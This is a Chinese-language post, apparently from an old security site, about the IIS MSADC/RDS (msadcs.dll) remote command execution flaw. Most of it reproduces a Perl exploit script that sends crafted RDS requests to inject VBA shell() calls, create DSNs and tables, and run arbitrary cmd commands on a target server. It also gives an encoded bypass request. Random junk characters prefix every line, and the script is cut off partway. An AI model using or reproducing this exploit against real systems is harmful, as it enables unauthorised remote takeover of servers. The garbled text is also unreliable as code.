IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DH%PkGn `FQ]ad Fz 涉及程序:
>~nr,V.q Microsoft NT server
5a'`%b{{ NLK1IH# 描述:
T[)!7@4r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5!fOc]]Ow 0&j90J$` 详细:
0FtwDM)) 如果你没有时间读详细内容的话,就删除:
zWhj>Za c:\Program Files\Common Files\System\Msadc\msadcs.dll
YLi6GY 有关的安全问题就没有了。
;Mo_B9 p]EugLEmG 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]"b:IWPeI ?tL' X 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!p).3Kx0 关于利用ODBC远程漏洞的描述,请参看:
eG1V:%3 )~)l^0X http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nH&z4-1Y? NLY=o@< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Lc5zu7ncg http://www.microsoft.com/security/bulletins/MS99-025faq.asp IH dA2d?.] Vy
I\Jmr 这里不再论述。
bsDA&~)s ((+XzV> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r'jUB^E &>C+5`bg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"WuUMt 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
mjWU0. Y|Q(JX 'fl< ac,. #将下面这段保存为txt文件,然后: "perl -x 文件名"
9D+k71"+ $]
"M`h #!perl
?bVIH? #
l[c '%M |N # MSADC/RDS 'usage' (aka exploit) script
0t%]z! #
e}1Q+h\ # by rain.forest.puppy
p|.5;)%| #
Jh 0Grq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
" Q?~LB # beta test and find errors!
wR@>U.XT@ YB7n}r23 use Socket; use Getopt::Std;
%L* EB;nK getopts("e:vd:h:XR", \%args);
~Ym_ { I51]+gEN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$uDgBZA\ Qgj# k if (!defined $args{h} && !defined $args{R}) {
OU/}cu print qq~
U,#x\[3!Jt Usage: msadc.pl -h <host> { -d <delay> -X -v }
lQ`=PFh -h <host> = host you want to scan (ip or domain)
:>{!%-1Z -d <seconds> = delay between calls, default 1 second
H^*AaA9- -X = dump Index Server path table, if available
A6]X
aF -v = verbose
m..ajYSQ -e = external dictionary file for step 5
&{.IUg Z8ea)_{# Or a -R will resume a command session
G|f9l?p cVW7I ~; exit;}
=yZq]g6Q Zh;wQCDj $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}W8A1-UF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
B6
(\1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0>Snps3*Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b(GV4% $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
dT*Yv`h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H5x7)1Ir| Kh\ 7%>K# if (!defined $args{R}){ $ret = &has_msadc;
UgGa]b[9A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
'wk,t^) B223W_0"o print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RbTGAA
. "cmd /c ";
KhfADqji| $in=<STDIN>; chomp $in;
B4RrUA32 $command="cmd /c " . $in ;
P M [_0b |-}.Y(y if (defined $args{R}) {&load; exit;}
\)No?fB &M}X$k I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5OI.Ka &try_btcustmr;
B1)Eo2i# q7Hf7^a print "\nStep 2: Trying to make our own DSN...";
_x<NGIz &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1v]%FC` 49Jnp>h print "\nStep 3: Trying known DSNs...";
=0d|F
8 &known_dsn;
8l5>t -i:WA^yKgw print "\nStep 4: Trying known .mdbs...";
XeI2<=@% &known_mdb;
L T$U
z uL/wV~g if (defined $args{e}){
cDY)QUmi print "\nStep 5: Trying dictionary of DSN names...";
H9(?yI@Zr# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
s)]j X qX-ptsQ print "Sorry Charley...maybe next time?\n";
tJ6@Ot exit;
J;>epM;* .@,t}:lD ##############################################################################
d#0:U
Y% ~ /%& d: sub sendraw { # ripped and modded from whisker
dR]-R/1| sleep($delay); # it's a DoS on the server! At least on mine...
kP%hgZ my ($pstr)=@_;
T06(Q[) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q
84t= die("Socket problems\n");
(p%|F` if(connect(S,pack "SnA4x8",2,80,$target)){
W]oD(eZ select(S); $|=1;
z)^|. print $pstr; my @in=<S>;
a
~v$ bNu select(STDOUT); close(S);
xc#t8` return @in;
89LD:+p/ } else { die("Can't connect...\n"); }}
fQa*> **j; {oqbV#/& ##############################################################################
%42a>piev r&
a[? sub make_header { # make the HTTP request
G(a5@9F my $msadc=<<EOT
wu.l-VmGp) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[j0[c9.p[ User-Agent: ACTIVEDATA
|MZ1j(_ Host: $ip
1p.c6[9- Content-Length: $clen
QgqJ # Connection: Keep-Alive
le'RU1k NbU`_^oC ADCClientVersion:01.06
w1)TnGT Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9i5?J ]o^ (lM,' --!ADM!ROX!YOUR!WORLD!
F<I*?${[ Content-Type: application/x-varg
;98&5X\u< Content-Length: $reqlen
[nO3%7t@ l)[|wPf EOT
L?[m$l!T} ; $msadc=~s/\n/\r\n/g;
(kLaXayn return $msadc;}
{Ge{@1 UN.;w3`Oc ##############################################################################
;0 B1P|7zK _&/`-"3y sub make_req { # make the RDS request
/^.S
nqk my ($switch, $p1, $p2)=@_;
8${n}} my $req=""; my $t1, $t2, $query, $dsn;
;-Yvi,sS+ X,v.1#[ if ($switch==1){ # this is the btcustmr.mdb query
U.<j2Kum $query="Select * from Customers where City=" . make_shell();
S/`#6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ez'NHodwk2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MV" n{1B ]
]U )wg elsif ($switch==2){ # this is general make table query
%b^4XTz $query="create table AZZ (B int, C varchar(10))";
wSjDa.?' $dsn="$p1";}
44ty,M3 7~XC_Yc1 elsif ($switch==3){ # this is general exploit table query
Z`tmuu $query="select * from AZZ where C=" . make_shell();
1jg* DQ7L $dsn="$p1";}
{6ZSf[Y6B fY00 elsif ($switch==4){ # attempt to hork file info from index server
Km(i}:6" $query="select path from scope()";
ST?{H SCz $dsn="Provider=MSIDXS;";}
|!PL"]? I8gNg
Z elsif ($switch==5){ # bad query
S&!(h
{O $query="select";
Y#9W]78He $dsn="$p1";}
=1Sny7G E5^\]`9P $t1= make_unicode($query);
>N |?>M* $t2= make_unicode($dsn);
D m0)%# $req = "\x02\x00\x03\x00";
e(8hSVcl4 $req.= "\x08\x00" . pack ("S1", length($t1));
5IF5R# $req.= "\x00\x00" . $t1 ;
A'jvm@DvQI $req.= "\x08\x00" . pack ("S1", length($t2));
`"=>lu2H $req.= "\x00\x00" . $t2 ;
I<D#
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K
";Et return $req;}
;g!rc#z2g Q-oDmjU ##############################################################################
'.bf88D GmB&TDm sub make_shell { # this makes the shell() statement
,&UKsrs_ return "'|shell(\"$command\")|'";}
a dqS.xs 6MVu"0# ##############################################################################
w#b@6d 2GptK"MrD sub make_unicode { # quick little function to convert to unicode
gE6'A my ($in)=@_; my $out;
"/zgh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/i,n75/y? return $out;}
gQPw+0w 9-pt}U ##############################################################################
$+Ze"E h+W$\T) sub rdo_success { # checks for RDO return success (this is kludge)
'f6H#V*C
my (@in) = @_; my $base=content_start(@in);
@[g7\d if($in[$base]=~/multipart\/mixed/){
3jAr"xc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O t)}:oG return 0;}
&4:R(]| M(a%Qk?]/ ##############################################################################
3mHzOs\jU lOt7ij(,L sub make_dsn { # this makes a DSN for us
e-rlk5k%f my @drives=("c","d","e","f");
MZV$YD^S print "\nMaking DSN: ";
x4*
bhiu foreach $drive (@drives) {
INA3^p'w print "$drive: ";
F^.A~{&L my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
fbh,V%t7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
NT+.E[J6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=^KgNQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y1h)aQ5{ return 0 if $2 eq "404"; # not found/doesn't exist
a?-&O$UHf\ if($2 eq "200") {
+*8su5:[&@ foreach $line (@results) {
EX8+3>) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C7C4
eW8 } return 0;}
ooVs8T2 9ngxkOGx ##############################################################################
yJI~{VmU7 3=d%WPgQ sub verify_exists {
R;!,(l my ($page)=@_;
!mxH/{+|n my @results=sendraw("GET $page HTTP/1.0\n\n");
BEOPZ[Q|c return $results[0];}
O^cC+@l!4 qnp}#BZ ##############################################################################
7FE36Ub9 ;dzL9P9IU sub try_btcustmr {
"J"=<_? my @drives=("c","d","e","f");
(m R)o&Y%, my @dirs=("winnt","winnt35","winnt351","win","windows");
IAQ<|3Q (F&LN!Hn>p foreach $dir (@dirs) {
p3A9<g print "$dir -> "; # fun status so you can see progress
LFax$CZc foreach $drive (@drives) {
VO0:4{- print "$drive: "; # ditto
Y!L-5|G $reqlen=length( make_req(1,$drive,$dir) ) - 28;
nB`|VYmOP1 $reqlenlen=length( "$reqlen" );
/0/ouA>+ $clen= 206 + $reqlenlen + $reqlen;
PZ|I3z _^&
q,S my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N-K/jY if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
r!&174DSR1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
B@(d5i{h _Q1p_sdg ##############################################################################
^4fvV\ne_~ +mWf$+w sub odbc_error {
@S@VsgQ%3Z my (@in)=@_; my $base;
!.'D"Me> my $base = content_start(@in);
A`uHZCwJ5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
r
&.~
{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JN/=x2n. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v*!N}1+J $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K) }1; return $in[$base+4].$in[$base+5].$in[$base+6];}
"s0,9;
} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
(vG*)a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Dz0D ^(;V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
_8.TPB]no 5!?5S$> ##############################################################################
e6taQz@} w x]?D%l sub verbose {
Onq^|r's& my ($in)=@_;
Ikdj?"+O return if !$verbose;
Z+v,o1 print STDOUT "\n$in\n";}
gk|>E[. oJ4HvrUO ##############################################################################
KM;H '~PZi ,1{qZ(l1 sub save {
jc"sPr v5 my ($p1, $p2, $p3, $p4)=@_;
(}39f open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6=/sEz S' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
J3mLjYy close OUT;}
&<;T$Y vqN/ crJ@ ##############################################################################
DP@1to@ /Z6lnm7wJ sub load {
8H4NNj Oy my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_[R(9KyF0f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@/:4beh @p=<IN>; close(IN);
4NID:< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%4nf(|8n $target= inet_aton($ip) || die("inet_aton problems");
&{? M} 2I print "Resuming to $ip ...";
sbmtx/%U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
kU/MvoV if($p[1]==1) {
WJD2(el $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
jQV[zcM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)YAa7\Od my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
vcFR Td if (rdo_success(@results)){print "Success!\n";}
He=C\" else { print "failed\n"; verbose(odbc_error(@results));}}
J:Fq i p elsif ($p[1]==3){
Q2 !GWz$ if(run_query("$p[3]")){
f5*qlQJFz\ print "Success!\n";} else { print "failed\n"; }}
6-|?ya
elsif ($p[1]==4){
S
a+Y/ if(run_query($drvst . "$p[3]")){
}*(_JR4G print "Success!\n"; } else { print "failed\n"; }}
sm`c9[E exit;}
7y=O!?* h}a}HabA ##############################################################################
mFTuqujO $sY'=S sub create_table {
h\[@J rDa my ($in)=@_;
`o{ Z;-OF $reqlen=length( make_req(2,$in,"") ) - 28;
uLzE'ZmV $reqlenlen=length( "$reqlen" );
JPZp*5c6A $clen= 206 + $reqlenlen + $reqlen;
n$C-^3c my @results=sendraw(make_header() . make_req(2,$in,""));
nriSVGi return 1 if rdo_success(@results);
7K.75%} my $temp= odbc_error(@results); verbose($temp);
nms[No? return 1 if $temp=~/Table 'AZZ' already exists/;
(B4)L% return 0;}
i?!9%U!z4 q'8*bu_ ##############################################################################
Rj";?.R*e /O:4u_ sub known_dsn {
@ ;!IPiU # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\OVFZ D my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Z5'^81m$o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
NWn*_@7; "banner", "banners", "ads", "ADCDemo", "ADCTest");
1Of(O! :6(\: foreach $dSn (@dsns) {
dE"_gwtX print ".";
uaO.7QSwN next if (!is_access("DSN=$dSn"));
[
iTP:8 if(create_table("DSN=$dSn")){
<OEIG0 print "$dSn successful\n";
4,;*sc 6* if(run_query("DSN=$dSn")){
vSHPN|* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d3q%[[@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
xmnBG4,f <<01@Q <